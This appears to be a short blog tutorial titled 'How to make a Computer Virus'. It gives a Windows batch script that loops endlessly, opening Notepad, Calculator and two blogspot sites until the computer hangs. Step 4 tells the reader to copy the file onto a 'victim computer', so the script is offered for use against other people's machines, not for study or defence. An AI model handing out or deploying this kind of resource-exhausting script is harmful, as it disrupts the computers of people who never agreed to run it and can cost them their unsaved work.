How to make a Computer Virus

A batch file is a  text file with the file extension .bat, which is interpreted by the command processor, i.e
M.S Dos.

It contain  some set of commands which is executed automatically when some one click on the file.. so it very easy to make virus by using batch file..

 Now i am going to tell you how to do such stuffs..

 How to make a  Computer Virus?

Ans:for this you must know some of the basics command like. echo,start ,pause, kill ,call etc

Step1 :- open Notepad

Step2:-  copy the following code.

@echo off

:d

start  notepad

start   www.langadda.blogspot.com

start   www.toolsadda.blogsspot.com

start   calc

goto :d

Step 3:- save the file with bat extension. name could be anything.

Step 4:- Now copy this bat file and paste it on victim  computer.

 NOTE:-Don't click the file otherwise this code will hang your PC 

You can make it more complex by inserting some more command with in the label. 

start command will run the applications mentioned .i.e notepad ,calculater,browser. etc

:d is a label.

goto is used to jump the interpreter over the label.

 For any doubt pl z comment...